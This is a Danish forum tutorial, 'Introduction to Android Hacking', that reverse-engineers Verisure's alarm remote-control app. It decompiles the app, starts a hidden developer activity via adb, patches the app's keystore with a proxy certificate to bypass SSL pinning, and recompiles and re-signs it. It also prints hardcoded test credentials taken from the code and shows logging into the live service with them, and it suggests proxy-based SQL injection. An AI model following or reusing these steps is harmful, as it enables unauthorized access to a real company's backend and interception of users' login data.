[Storing C:&#92;Users&#92;MXI&#92;Desktop&#92;apk&#92;verisuredecom&#92;res&#92;raw&#92;mykeystore.bks]</code></div></div></span><br />
<br />
Nu skulle certifikatet altså være gemt i <span style="font-weight: bold;" class="mycode_b">KeyStore</span> filen, og hvis vi nu <span style="font-weight: bold;" class="mycode_b">recompiler</span> vores <span style="font-weight: bold;" class="mycode_b">decompilede smali filer</span>, burde vi ikke få problemer med <span style="font-weight: bold;" class="mycode_b">Charles</span>.<br />
<br />
<br />
<br />
<span style="font-size: x-large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Recompiling Decompiled Smali Filer</span></span><br />
<br />
Her skal vi igen tilbage til <span style="font-weight: bold;" class="mycode_b">APKTool</span> kommandovinduet / Eller starte en ny, hvis den er lukket ned.<br />
I <span style="font-weight: bold;" class="mycode_b">kommandovinduet</span> skriver vi følgende:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite><span style="font-weight: bold;" class="mycode_b">apktool b(står for build) &lt;mappenavn på de decompilede smali filer&gt; &lt;navnet på den nye apk-fil&gt;</span> </blockquote>
<br />
Hvilket ser således ud:<br />
<br />
<span style="font-weight: bold;" class="mycode_b"><blockquote class="mycode_quote"><cite>Citer:</cite>C:\Users\MXI\Desktop\Android\&gt;apktool b C:\Users\MXI\Desktop\Android\verisuredecom verisurerecompiled.apk </blockquote>
</span><br />
<span style="font-style: italic;" class="mycode_i">(Her kan vi nøjes med at skrive <span style="font-weight: bold;" class="mycode_b">'verisuredecom'</span> som mappe, da vi allerede arbejder fra Android mappen.</span><br />
<br />
<span style="font-weight: bold;" class="mycode_b"><blockquote class="mycode_quote"><cite>Citer:</cite>C:\Users\MXI\Desktop\apk&gt;apktool b verisuredecom verisurerecompiled.apk<br />
I: Checking whether sources has changed...<br />
I: Smaling...<br />
I: Checking whether resources has changed...<br />
I: Building resources...<br />
I: Copying libs...<br />
I: Building apk file...</blockquote>
</span><br />
<br />
<span style="font-weight: bold;" class="mycode_b">Det er sådan set alt der skal til for at recompile filerne. Disse skal dog 'signeres/underskrives' før Android styresytemet tillader at de bliver installeret.<br />
</span><br />
<br />
<br />
<br />
<span style="font-size: x-large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">"Signering" af Recompiled Applikationer</span></span><br />
Denne process er heldigvis også utroligt hurtig.<br />
Ved hjælp af vores trofaste kommandovindue CD'er eller åbner vi op i <span style="font-weight: bold;" class="mycode_b">SignApk</span> mappen, hvor <span style="font-weight: bold;" class="mycode_b">signapk.jar</span> gemmer sig. <br />
<span style="font-weight: bold;" class="mycode_b">SignApk</span> køres ved hjælp af <span style="font-weight: bold;" class="mycode_b">Java</span>, og behøver kun ganske få parametre.<br />
Vi vil her benytte os af de <span style="font-weight: bold;" class="mycode_b">"nøglefiler"</span> der er med i <span style="font-weight: bold;" class="mycode_b">zip-filen</span>, da der ikke er brug for selv at lave nye til dette formål.<br />
<br />
Skriv følgende i <span style="font-weight: bold;" class="mycode_b">kommandovinduet</span>, som du har åbnet/ændret sti til <span style="font-weight: bold;" class="mycode_b">SignApk</span> mappen:<br />
<span style="font-weight: bold;" class="mycode_b"><blockquote class="mycode_quote"><cite>Citer:</cite>java -jar SignApk.jar &lt;pem nøglefil&gt; &lt;pk8 nøglefil&gt; &lt;apk der skal signeres&gt; &lt;apk efter signering&gt;</blockquote>
</span><br />
<br />
Som med mine filer vil være således:<br />
<span style="font-weight: bold;" class="mycode_b"><blockquote class="mycode_quote"><cite>Citer:</cite>java -jar signapk.jar testkey.x509.pem testkey.pk8  verisurerecompiled.apk verisuresigned.apk</blockquote>
</span><br />
<br />
Efter blot få sekunder er den nye fil signeret, og befinder sig i <span style="font-weight: bold;" class="mycode_b">signapk</span> <span style="font-weight: bold;" class="mycode_b">mappen</span>.<br />
<br />
<br />
<br />
<span style="font-weight: bold;" class="mycode_b"><span style="font-size: x-large;" class="mycode_size">Installering af Modificerede Applikationer</span></span><br />
Da vi brugte <span style="font-weight: bold;" class="mycode_b">SignApk</span> erstattede vi nøglen med en ny, så vi kan ikke 'opdatere' vores applikation. Vi er her tvunget til først at <span style="font-weight: bold;" class="mycode_b">afinstallere</span> applikationen, og herefter <span style="font-weight: bold;" class="mycode_b">installere den nye version</span>.<br />
Dette kan gøres i emulatoren inde under <span style="font-weight: bold;" class="mycode_b">Settings &gt; App &gt; Vælg applikationen (Verisure) &gt; Uninstall </span>- Eller - Ved hjælp af vores elskede <span style="font-weight: bold;" class="mycode_b">adb shell</span> med følgende <span style="font-weight: bold;" class="mycode_b">kommando</span>:<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Som Doctor Blue så fint lige fik påpeget, så er den letteste og hurtigste måde at afinstallere applikationer på, helt klart ved at benytte adb uninstall</span><br />
<span style="font-weight: bold;" class="mycode_b"><blockquote class="mycode_quote"><cite>Citer:</cite>C:\sdk\platform-tools&gt;adb uninstall com.sdi.mobile.android.verisure</blockquote>
</span><br />
<br />
<span style="font-weight: bold;" class="mycode_b"><blockquote class="mycode_quote"><cite>Citer:</cite>C:\sdk\platform-tools&gt;adb shell<br />
root@generic:/ # am start -a android.intent.action.DELETE -d package:com.sdi.mob<br />
ile.android.verisure<br />
on.DELETE -d package:com.sdi.mobile.android.verisure                          &lt;<br />
Starting: Intent { act=android.intent.action.DELETE dat=package:com.sdi.mobile.a<br />
ndroid.verisure }</blockquote>
</span><br />
<br />
Herfra er der bare at <span style="font-weight: bold;" class="mycode_b">installere</span> den nye <span style="font-weight: bold;" class="mycode_b">signerede apk</span>, ved hjælp af samme <span style="font-weight: bold;" class="mycode_b">kommando</span> som vi <span style="font-weight: bold;" class="mycode_b">brugte i starten</span>:<br />
<span style="font-weight: bold;" class="mycode_b"><blockquote class="mycode_quote"><cite>Citer:</cite>C:\sdk\platform-tools&gt;adb install C:\Users\MXI\Desktop\android\SignApk\verisuresigned.apk</blockquote>
</span><br />
<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Nu er applikationen så installeret</span>, og hvis vi først åbner <span style="font-weight: bold;" class="mycode_b">Charles</span> og herefter <span style="font-weight: bold;" class="mycode_b">Verisure</span>, kan vi nu se at alt <span style="font-weight: bold;" class="mycode_b">SSL trafikken bliver kørt igennem Charles uden et eneste problem</span>.<br />
Herfra kan vi så se at <span style="font-weight: bold;" class="mycode_b">brugernavn/pasword</span> bliver sendt som <span style="font-weight: bold;" class="mycode_b">Base64</span>, samt vi får diverse oplysninger om hvordan de forskellige <span style="font-weight: bold;" class="mycode_b">anmodninger og svar er strukturerede på serveren</span>.<br />
<br />
<br />
<img src="http://i.imgur.com/ViuGf96.png" alt="[Billede: ViuGf96.png]" class="mycode_img" /><br />
<br />
<br />
<span style="color: #4682B4;" class="mycode_color"><span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Charles og andre proxies kan i nogle tilfælde være rigtig godt til at lave SQL injections i f. eks. POST parametre, som de fleste ellers bare hopper over.</span></span></span><br />
<br />
<hr class="mycode_hr" />
Skal nok lige få rettet de værste fejl, og så skal billederne lige prioriteres da boardet er sat til maks 10.<br />
<br />
Skal nok også få smidt lidt simpel patching ind engang.]]></description>
			<content:encoded><![CDATA[<span style="font-size: xx-large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Introduktion til Android Hacking</span></span><br />
<br />
<br />
<br />
<span style="font-size: large;" class="mycode_size">I denne korte introduktion til Android hacking kigger vi på den basale opsætning til at få lidt mere styr på hvordan vi decompiler Android applikationer, <br />
samt hvordan vi igennem en proxy kan opfange oplysninger om, hvad data applikationen sender videre til dennes tilknyttede backend server.</span><br />
<br />
<br />
<br />
<span style="color: #006400;" class="mycode_color"><span style="font-size: x-large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Krav</span></span></span><br />
<br />
<span style="font-weight: bold;" class="mycode_b">Android SDK + Eclipse ADT</span> (Eclipse + Android Development Tool(kit) er kun hvis du ønsker at køre en emulator i stedet for en fysisk enhed, <br />
samt hvis du ønsker at dykke lidt længere ned i Android programmering samt patching/cracking)<br />
<a href="http://developer.android.com/sdk/index.html" target="_blank" rel="noopener" class="mycode_url">http://developer.android.com/sdk/index.html</a><br />
<br />
<span style="font-weight: bold;" class="mycode_b">Java JDK &amp; JRE</span> (JDK er den vigtige her, men JRE er brugbar til visse opgaver)<br />
<a href="http://www.oracle.com/technetwork/java/javase/downloads/index.html" target="_blank" rel="noopener" class="mycode_url">http://www.oracle.com/technetwork/java/j...index.html</a> <br />
<br />
<span style="font-weight: bold;" class="mycode_b">Charles Proxy</span> (Kan være hvilket som helst proxy tool du har erfaring med)<br />
<a href="http://www.charlesproxy.com/" target="_blank" rel="noopener" class="mycode_url">http://www.charlesproxy.com/</a> <br />
<br />
<span style="font-weight: bold;" class="mycode_b">APKTool </span>(Skal bruges til at decompile + recompile (Smali - Baksmali) dine APK filer)<br />
<a href="https://mega.co.nz/#!10UHnAxC!zLg6ucEf430O7KFXb4GluaL0ZidAbCVfOYVOkd9rHy0" target="_blank" rel="noopener" class="mycode_url">https://mega.co.nz/#!10UHnAxC!zLg6ucEf43...YVOkd9rHy0</a><br />
<br />
<span style="font-weight: bold;" class="mycode_b">SignAPK</span> (Eller jarsigner - Skal bruges til at signe APK filerne, så de kan installeres på Android styresystemet. <br />
Langt de fleste enheder vil ikke installere applikationer Uden denne hersens underskift)<br />
<a href="https://mega.co.nz/#!ZklzhYhZ!g0ZcCd1eprlV6yGsyt4djqZEQRIeJHv5-At1nTWyJ7g" target="_blank" rel="noopener" class="mycode_url">https://mega.co.nz/#!ZklzhYhZ!g0ZcCd1epr...At1nTWyJ7g</a><br />
<br />
<span style="font-weight: bold;" class="mycode_b">Dex2Jar</span> (Konverterer .DEX filen der er pakket ind i .APK filen til .JAR.<br />
<a href="https://mega.co.nz/#!Jh0AkayZ!hzmJx-gRpfBlycMGNNlN-fIvr5WqumUMgMylPdap-zA" target="_blank" rel="noopener" class="mycode_url">https://mega.co.nz/#!Jh0AkayZ!hzmJx-gRpf...MylPdap-zA</a><br />
<br />
<span style="font-weight: bold;" class="mycode_b">Jd_Gui</span> (Giver dig en pæn brugerflade til at læse .JAR filerne fra Dex2Jar)<br />
<a href="http://jd.benow.ca/" target="_blank" rel="noopener" class="mycode_url">http://jd.benow.ca/</a><br />
<br />
<br />
<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Så Hvad Er En APK-Fil?</span></span><br />
En APK er sådan set bare et pakkeformat ligesom RAR og ZIP. Du kan endda omdøbe din .APK til .ZIP og herved åbne og udpakke indholdet.<br />
APK-formatet er bare hvad Google har valgt at kalde deres applikationers filtype, sådan at Android styresystemet kan genkende det.<br />
<br />
Det er disse filer du downloader og installerer, når du henter en app i Google Play eller andre tredjeparts app butikker.<br />
Hvis du har en Rooted Android enhed, kan disse filer kopieres som "backups" og smides over på computeren via ADB, Email, Dropbox osv.<br />
<br />
Desuden kan du bruge online downloaders såsom <a href="http://download.freeapk.ru/en" target="_blank" rel="noopener" class="mycode_url">http://download.freeapk.ru/en</a> eller <a href="http://apkleecher.com/" target="_blank" rel="noopener" class="mycode_url">http://apkleecher.com/</a> til at hente filerne ned til nærmere undersøgelser.<br />
Pas dog på med det, da mange af disse downloaders først lige smider spyware eller reklamer ind før gør dit download-link klar.<br />
<br />
<br />
<br />
<br />
<span style="font-size: x-large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Mappestruktur</span></span><br />
Lad os for en god ordens skyld lave en mappe på skrivebordet der hedder Android<br />
Inde i den mappe udpakker vi følgende filer til deres egne mapper:<br />
<span style="font-weight: bold;" class="mycode_b">Desktop/Android/APKTool<br />
Desktop/Android/SignAPK<br />
Desktop/Android/Dex2Jar<br />
Desktop/Android/Jd_Gui.exe</span> (Ingen mappe, så bare smid i den i Android mappens rod)<br />
<br />
<br />
<br />
<br />
<span style="font-size: x-large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Opsætning af Emulatoren</span></span><br />
For at gøre det så let som muligt bruger vi Eclipse til åbne AVD (Android Virtual Device Manager).<br />
Sørg for at Android SDK er installeret, samt at Eclipse er udpakket (Det er lige meget hvor).<br />
1) Åbn Eclipse &gt; Window &gt; Preferences &gt; Android og tjek om 'SDK location' passer til hvor du installerede/udpakkede Android SDK og tryk OK.<br />
<br />
2) Gå til Window &gt; Android SDK Manager Og installer alle de pakker den selv foreslår (Samt tjek at du har mindst én af de nyeste platforme - Android 4.3 osv - installeret - Dette kræver til tider Administrator rettigheder)<br />
<img src="http://i.imgur.com/A42QCoU.png" alt="[Billede: A42QCoU.png]" class="mycode_img" /><br />
<br />
3) Gå til Window &gt; Android Virtual Device Manager &gt; Tryk på 'Create' og udfyld indstillingerne.<br />
Disse indstillinger er ikke så vigtige lige nu, og kan hele tiden ændres. Har selv mange forskellige, men her er et eksempel:<br />
Det kan være en fordel at hente Google API's i SDK Manager'en, da flere applikationer ellers vil fejle installationen grundet en 'manglende delt pakke'.<br />
<br />
<br />
Tryk <span style="font-weight: bold;" class="mycode_b">OK</span> &gt; Og start så emulatoren.<br />
<br />
<span style="color: #FF6347;" class="mycode_color">!! Der kan opstå tilfælde hvor vores ADT plugin ikke er installeret korrekt, i disse tilfælde gør følgende:<br />
Gå til Help &gt; Install New Software &gt;<br />
Tryk på Add &gt;<br />
Giv den et navn (ADT Plugin) &gt;<br />
Angiv en URL til plugin-filerne &gt; <a href="https://dl-ssl.google.com/android/eclipse/" target="_blank" rel="noopener" class="mycode_url">https://dl-ssl.google.com/android/eclipse/</a><br />
Og installer så Android Development Tools. Dette kan igen til tider kræve administrator rettigheder.</span><br />
<br />
<br />
<span style="font-size: x-large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Installation af Applikationer til Emulatoren</span></span><br />
Sørg for, at du har emulatoren åben og kørende.<br />
Åbn CMD/Kommandovinduet og CD til mappen mappen hvor du installerede Android SD/platform-tools.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">C:\Windows\System32&gt; cd C:\sdk\platform-tools<br />
ELLER gå til Android SDK mappen, Hold Shift-knappen nede og højreklik på platform-tools &gt; "Åbn kommandovindue her".</span><br />
I denne mappe gemmer adb.exe sig, og det er dette lille fikse program vi vil bruge til at installere applikationer og køre aktiviteter/services.<br />
<br />
Som et eksempel vil jeg bruge <span style="font-weight: bold;" class="mycode_b">Verisure</span>'s fjernstyrrings app til tyverisikring/overvægning. <br />
Hvis vi går til <a href="https://play.google.com" target="_blank" rel="noopener" class="mycode_url">https://play.google.com</a> og søger efter denne applikation.<br />
( <a href="https://play.google.com/store/apps/details?id" target="_blank" rel="noopener" class="mycode_url">https://play.google.com/store/apps/details?id</a>=<span style="font-weight: bold;" class="mycode_b">com.sdi.mobile.android.verisure</span> )<br />
kan vi se i adressebaren, at pakkenavnet er: 'com.sdi.mobile.android.verisure'<br />
Her kan vi så gå videre til <a href="http://download.freeapk.ru" target="_blank" rel="noopener" class="mycode_url">http://download.freeapk.ru</a> og skrive pakkenavnet/adressen og downloade .APK-filen hurtigt og uden problemer, i stedet for at hente den ned på vores enhed, installere, tage backup og overføre filen til vores computer. <br />
<span style="font-weight: bold;" class="mycode_b">Gem .apk-filen Android mappen.</span> <br />
<br />
For at installere denne app skriver vi blot <blockquote class="mycode_quote"><cite>Citer:</cite>adb install &lt;stien til .apk-filen&gt;</blockquote>
 (Du kan skrive <span style="font-style: italic;" class="mycode_i">adb install og herefter bare trække filen ind i kommandovinduet</span> for automatisk at udfylde stien til filen.<br />
Dette bliver således til: <br />
<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\sdk\platform-tools&gt;adb install C:\Users\MXI\Desktop\Android\verisure.apk<br />
1112 KB/s (7109188 bytes in 6.240s)<br />
        pkg: /data/local/tmp/bas.apk<br />
Success</blockquote>
<br />
Nu er applikationen så installeret på emulatoren, og kan findes inde i Apps menuen.<br />
<br />
<br />
!! I tilfælde af at adb ikke kan finde din emulator enhed kan det til tider hjælpe at forwarde: <blockquote class="mycode_quote"><cite>Citer:</cite>'C:\sdk\platform-tools&gt;adb -d forward tcp:5601 tcp:5601'</blockquote>
!! Prøv herefter at skrive <blockquote class="mycode_quote"><cite>Citer:</cite>'C:\sdk\platform-tools&gt;adb devices'</blockquote>
 for at se om den har registreret din enhed.<br />
<br />
<br />
<span style="font-size: x-large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Opsætning af Charles Proxy</span></span><br />
Installér Charles Proxy (Dette er kun en trial, så den låser op nogle sekunder engang imellem, og kan kun køre i 30 minutter før det lukker ned. Kan dog åbnes igen med det samme)<br />
<img src="http://i.imgur.com/D8PD7X8.png" alt="[Billede: D8PD7X8.png]" class="mycode_img" /><br />
<br />
Gå til <span style="font-weight: bold;" class="mycode_b">Proxy &gt; Proxy Settings</span> og tjek <span style="font-weight: bold;" class="mycode_b">portnummeret</span> (Højst sansynligt <span style="font-weight: bold;" class="mycode_b">8888</span>)<br />
<span style="font-weight: bold;" class="mycode_b">Under fanen </span><span style="font-weight: bold;" class="mycode_b">Proxies</span> skal du lige tjekke om der er flueben i '<span style="font-weight: bold;" class="mycode_b">Enable transparent HTTP proxying</span>'.<br />
<span style="font-weight: bold;" class="mycode_b">Under fanen SSL</span> skal du lige tjekke om der er flueben i '<span style="font-weight: bold;" class="mycode_b">Enable SSL proxying</span>'.<br />
Hvis den her kræver en opsætning under 'locations', så tryk add og OK med tomme værdier. <br />
<br />
Find din netværks-IP (Ikke din eksterne IP, men din interne IP routeren bruger til at finde dig på netværket)<br />
<br />
Dette kan gøres på flere forskellige måder, men den letteste er IMO at skrive ipconfig i kommandovinduet, og kigge under IPv4:<br />
<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\Windows\System32&gt;ipconfig</blockquote>
<br />
<img src="http://i.imgur.com/VhnPy83.png" alt="[Billede: VhnPy83.png]" class="mycode_img" /><br />
<br />
<span style="font-weight: bold;" class="mycode_b">Lad os vende tilbage til Android emulatoren for at opsætte Charles.</span><br />
<br />
Først hopper vi lige ind i Androids browser nede i højre hjørne (Blå planet-tingy).<br />
<img src="http://i.imgur.com/lb7fni8.png" alt="[Billede: lb7fni8.png]" class="mycode_img" /><br />
<br />
 Gå til <a href="http://charlesproxy.com/charles.crt" target="_blank" rel="noopener" class="mycode_url">http://charlesproxy.com/charles.crt</a> &gt; Giv certifikatet et navn og tryk OK for at installere det. (Dette skal bruges til at opsnappe SSL trafik)<br />
<img src="http://i.imgur.com/DgOAld9.png" alt="[Billede: DgOAld9.png]" class="mycode_img" /><br />
<br />
Der er forskelle i brugerfladen på forskellige Android versioner, men i min (4.4.2) er det således:<br />
Gå til Settings (Tryk på Menu knappen, eller find den inde i Apps menuen)<br />
Under Wireless &amp; Networks tryk på More...<br />
Tryk på Mobile Networks &gt; Access Point Names<br />
Tryk på den APN der allerede er i brug (T-Mobile US hos mig)<br />
Tryk på Proxy, og indsæt den IP vi fandt før (192.168.1.105)<br />
Tryk på Port og indsæt porten fra Charles (8888)<br />
Disse indstillinger vil muligvis kræve et kodeord (Dette kodeord/PIN vil også blive krævet til at logge ind næste gang du starter emulatoren, så ingen grund til at gå i panik hvis den lige pludselig kræver Pinkode næste gang)<br />
I øverst højre hjørne - Udfra 'Edit access point' er der 3 vertikale firkanter, tryk på disse og vælg 'Save'<br />
<img src="http://i.imgur.com/Xe2wG77.png" alt="[Billede: Xe2wG77.png]" class="mycode_img" /><br />
<br />
Nu vil netværksaktiviteten fra din Android emulator automatisk blive kørt igennem Charles - Det samme vil din browseraktivitet i Windows dog også - For at undgå dette kan du trykke på <span style="font-weight: bold;" class="mycode_b">Proxy</span> &gt; Og <span style="font-weight: bold;" class="mycode_b">fjerne fluebenet</span> i <span style="font-weight: bold;" class="mycode_b">'Windows Proxy'</span>.<br />
<br />
<br />
<br />
<span style="font-weight: bold;" class="mycode_b"><span style="font-size: x-large;" class="mycode_size">Decompile Android Applikationer</span></span><br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Ved Hjælp af APKTool</span></span><br />
<br />
Åbn et kommandovindue i APKTool mappen (cd C:/... eller højreklik &gt; Åbn ko..) og skriv følgende:<br />
<br />
apktool d(står for decompile) &lt;apkfilen&gt; &lt;mappenavn på de decompilede smali filer&gt;<br />
<br />
Altså noget i stil med dette:<br />
<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\Users\MXI\Desktop\Android\&gt;apktool d C:\Users\MXI\Desktop\android\verisure.apk verisuredecom<br />
I: Baksmaling...<br />
I: Loading resource table.<br />
I: Loaded.<br />
I: Loading resource table from<br />
I: Loaded.<br />
I: Decoding file-resources...<br />
I: Decoding values*/* XMLs...<br />
I: Done.<br />
I: Copying assets and libs...</blockquote>
<br />
Nu har vi så de decompilede .smali filer i '<span style="font-weight: bold;" class="mycode_b">verisuredecom</span>' mappen, som kan ændres/pacthes/crackes og recompiles.<br />
At patche diverse dele af koden er ikke noget jeg synes vi skal begive os ud i, da dette kun er en simpel introduktion <br />
(Og smali er pænt svært at forstå hvis man bare lige hopper ud i det - det er simpelthen alt for let at ødelægge det bare ved at fjerne en enkelt funktion/variabel, og glemme at starten af funktionen så smali er klar over der er den satan mindre)<br />
<br />
Lad os i stedet tage et kig på '<span style="font-weight: bold;" class="mycode_b">AndroidManifest.xml</span>' filen som er i roden af '<span style="font-weight: bold;" class="mycode_b">verisuredecom</span>' mappen. <span style="font-weight: bold;" class="mycode_b">Denne fil er det berygtede manifest, der indeholder oplysninger om f. eks. <span style="font-style: italic;" class="mycode_i">pakkenavn, egenskaber, version, aktiviteter, services, tilladelser, broadcast receivers, intents osv</span>.</span><br />
Manifestet giver næsten sig selv, og efter 10 minutters nærstudering + google vil det meste give mening. Hvad vi er interesserede i her, er hvilke services, intents og aktiviteter(activities) der er angivede.<br />
I dette eksempel er der ikke nogle services eller intents der ser ud til at kunne hjælpe os, men der er nogle spændende aktiviteter. Den aktivitet mine øjne først sprænger på er denne:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>&lt;activity android:name=".DeveloperActivity" /&gt;</blockquote>
. Uha. Der er altid en mulighed for, at classes/aktiviteter med navne som <span style="font-weight: bold;" class="mycode_b">dev/developer/programmer/coder</span> kan indeholde noget spændende.<br />
<span style="font-weight: bold;" class="mycode_b">DeveloperActivity.smali</span> er placeret i <span style="font-weight: bold;" class="mycode_b">.</span><span style="font-weight: bold;" class="mycode_b">.\verisuredecom\smali\com\sdi\mobile\android\verisure</span> - Men igen er smali altså for viderekomne, og passer dårligt ind i en intro.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Lad os istedet prøve noget andet. Vi kan bruge adb shell's am kommando(activity mamager) til at starte aktiviteter</span><br />
<br />
Lad os prøve at åbne det kommandovindue vi brugte til at installere applikationen med (<span style="font-weight: bold;" class="mycode_b">Android SDK/platform-tools</span>)<br />
I dette kommandovindue skriver vi først <span style="font-weight: bold;" class="mycode_b">adb shell</span><br />
<br />
<blockquote class="mycode_quote"><cite>Citer:</cite><span style="font-weight: bold;" class="mycode_b">C:\sdk\platform-tools&gt;adb shell<br />
root@generic:/ #</span></blockquote>
<br />
Herefter skriver vi <span style="font-weight: bold;" class="mycode_b">am start &lt;<span style="font-style: italic;" class="mycode_i">pakkenavn</span>&gt;/.&lt;<span style="font-style: italic;" class="mycode_i">aktivitet</span>&gt;</span><br />
<span style="font-weight: bold;" class="mycode_b"><blockquote class="mycode_quote"><cite>Citer:</cite>root@generic:/ # am start com.sdi.mobile.android.verisure/.DeveloperActivity</blockquote>
</span><br />
<br />
<img src="http://i.imgur.com/yN2NpSp.png" alt="[Billede: yN2NpSp.png]" class="mycode_img" /><br />
<br />
Og boom. Vi har started en aktivitet direkte fra kommandovinduet/konsollen. Dette kan bruges til forskellige ting, f. eks. gemte menuer og aktiviteter der glemmer at tjekke om brugeren er logget ind, og herved lækker information der kun burde være forebeholdt autoriserede brugere. <br />
<br />
<span style="font-weight: bold;" class="mycode_b">OBS! For at komme tilbage fra vores shell kan vi trykke CTRL+C</span><br />
<span style="color: #FF6347;" class="mycode_color">!! Hvis du her får en fejlmeddelse i stil med følgende:<br />
!!error: protocol fault (no status)<br />
!!Så skriv &gt;adb kill-server<br />
!!efterfulgt af &gt;adb start-server</span><br />
<br />
<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Ved Hjælp af Dex2Jar</span></span><br />
<br />
Åbn et kommandovindue i dex2jar mappen (<span style="font-weight: bold;" class="mycode_b">cd C:/... eller højreklik &gt; Åbn ko..</span>) og skriv følgende:<br />
<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\Users\MXI\Desktop\Android\&gt;d2j-dex2jar C:\Users\MXI\Desktop\android\verisure.apk</blockquote>
<br />
Dette vil decompile Androids <span style="font-weight: bold;" class="mycode_b">.DEX dalvik byte code</span> til <span style="font-weight: bold;" class="mycode_b">Java</span>, og være noget lettere at forstå. <span style="font-weight: bold;" class="mycode_b">verisure-dex2jar.jar</span> filen kan nu åbnes i <span style="font-weight: bold;" class="mycode_b">jd-gui.exe</span>.<br />
<span style="font-style: italic;" class="mycode_i">Du kan dog ikke ændre i koden og gemme det, men i stedet bruge koden til at få oplysninger om applikationens indhold, samt mulige hulder i programmeringen.</span><br />
<br />
Efter en lille gennemgang af den decompilede kode finder vi igen den spændende klasse med navnet <span style="font-weight: bold;" class="mycode_b">DeveloperActivity</span>, som ovenikøbet indeholder følgende <span style="font-weight: bold;" class="mycode_b"><span style="color: #FF4500;" class="mycode_color">hardcoded credentials</span></span>:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>    <br />
     <span style="font-weight: bold;" class="mycode_b">dd.a(this, "[b]mm-test1@verisure.com</span>", "<span style="font-weight: bold;" class="mycode_b">asdf1234</span>");[/b]<br />
  </blockquote>
<br />
<span style="color: #32CD32;" class="mycode_color">Skulle vi prøve at se om de virker?</span> <span style="color: #FFDAB9;" class="mycode_color">Sørg for Ikke at køre Charles når du forsøger dette.</span><br />
<br />
<img src="http://i.imgur.com/zAhAd3E.png" alt="[Billede: zAhAd3E.png]" class="mycode_img" /><br />
<br />
<span style="color: #4682B4;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">Sørme jo</span>. Der er ikke meget at komme efter her, men det er da en vej ind for at få lidt bedre viden om hvordan applikationen virker.</span><br />
<br />
<span style="font-weight: bold;" class="mycode_b"><span style="color: #FF6347;" class="mycode_color">Hvis vi på nuværende tidspunkt har Charles åben vil vi få en fejl, da verisure bruger en form for SSL Pinning, der gør at forbindelsen bliver nægtet hvis ikke SSL certifikatet er ens hos både klienten(android) og serveren(I dette tilfælde Charles, som herefter videregiver trafikken).</span></span>   <br />
<br />
<img src="http://i.imgur.com/FpsH220.png" alt="[Billede: FpsH220.png]" class="mycode_img" /><br />
<br />
<br />
Igen ville det være lidt overkill at begynde at fjerne dette tjek eller bytte deres http klient ud med vores egen. Men måske engang i fremtiden. ;)<br />
<br />
( Hvis det alligevel skulle have interesse er der her to gode artikler om emnet: <a href="http://www.mcafee.com/us/resources/white-papers/wp-defeating-ssl-cert-validation.pdf" target="_blank" rel="noopener" class="mycode_url">http://www.mcafee.com/us/resources/white...dation.pdf</a><br />
<a href="http://www.exploit-db.com/wp-content/themes/exploit/docs/33430.pdf" target="_blank" rel="noopener" class="mycode_url">http://www.exploit-db.com/wp-content/the.../33430.pdf</a> )<br />
<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Jeg vil dog alligevel lige vise en lille sjov ting jeg fandt i denne applikation, som også vil give anledning til at recompile.</span><br />
<br />
Ved at kigge på klassen <span style="font-weight: bold;" class="mycode_b">\com\sdi\mobile\android\util\http\httpservice.smali</span>, der hjælper med forbindelsen til backend-serveren, finder vi følgende:<br />
<br />
<span style="font-size: medium;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Java:</span></span><br />
<blockquote class="mycode_quote"><cite>Citer:</cite> private static void b(Context paramContext)<br />
  {<br />
    b = new a(new ByteArrayInputStream(a(paramContext.getResources().openRawResource(2131099649))), "mysecret");<br />
    d = c(paramContext);<br />
  }</blockquote>
<br />
<br />
<span style="font-size: medium;" class="mycode_size">Smali:</span><br />
<br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>new-instance v1, Ljava/io/ByteArrayInputStream;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;invoke-direct {v1, v0}, Ljava/io/ByteArrayInputStream;-&gt;&lt;init&gt;([B)V<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;.line 74<br />
&nbsp;&nbsp;&nbsp;&nbsp;new-instance v0, Lcom/sdi/mobile/android/util/http/a;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;const-string v2, "mysecret"<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;invoke-direct {v0, v1, v2}, Lcom/sdi/mobile/android/util/http/a;-&gt;&lt;init&gt;(Ljava/io/InputStream;Ljava/lang/String;)V<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;sput-object v0, Lcom/sdi/mobile/android/util/http/HttpService;-&gt;b:Lcom/sdi/mobile/android/util/http/a;</code></div></div><br />
Vi har altså her at gøre med en <span style="font-weight: bold;" class="mycode_b">string</span> der bruges i samarbejde med en <span style="font-weight: bold;" class="mycode_b">ressource(RAW)</span> der smides ind i en<span style="font-weight: bold;" class="mycode_b"> inputstream</span>. Hmm..<br />
